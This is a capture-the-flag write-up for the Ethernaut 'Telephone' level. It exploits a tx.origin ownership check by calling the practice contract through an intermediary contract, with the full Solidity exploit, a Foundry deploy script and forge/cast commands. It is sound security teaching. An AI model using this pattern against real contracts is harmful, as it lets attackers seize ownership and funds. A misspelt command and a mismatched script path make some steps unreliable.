Telephone - The Ethernaut - Writeup
Claim ownership of the contract below to complete this level.
This is the contract’s code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
In order to change the owner of the contract, we need to call the changeOwner function, in a way that tx.origin != msg.sender. In this Ethereum Stackexchange question, its difference is discussed. It is simple, though: the EVM allows contracts to call functions on another contracts. Then, we could have a chain of calls like this:

We just need to call the function from a contract that we control. This exploit contract will be enough:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
function changeOwner(address _owner) public {}
}
contract Exploit {
function exploit() public {
Telephone telephone = Telephone(address(0xB1bA764cFf27791eDA1b38076704901A973171B5));
telephone.changeOwner(address(0x12c5Da011f95E229Ba45f732e8f79608444D76b9));
}
}
Now, we will deploy this contract and call the exploit function, which makes the call to changeOwner with my EOA address.
Let’s deploy the contract using foundry. Execute this command to create a sample project:
froundry init exploit
Now, write the exploit contract inside the src/ folder, in a file called Exploit.sol. Then, create a script to deploy the contract in the file scripts/Exploit.s.sol, with this content:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Exploit.sol";
contract ExploitScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
Exploit exploit = new Exploit();
vm.stopBroadcast();
}
}
Now, execute these commands to compile the project and deploy the malicious contract:
forge build
forge script script/Exploit.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast --verify -vvvv
If everything was successful, we will get the address on which the contract was deployed:

Now, we just need to call the exploit() function:
cast send 0x0416b9363D030Ce772B744088993fe0285102403 "exploit()" --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
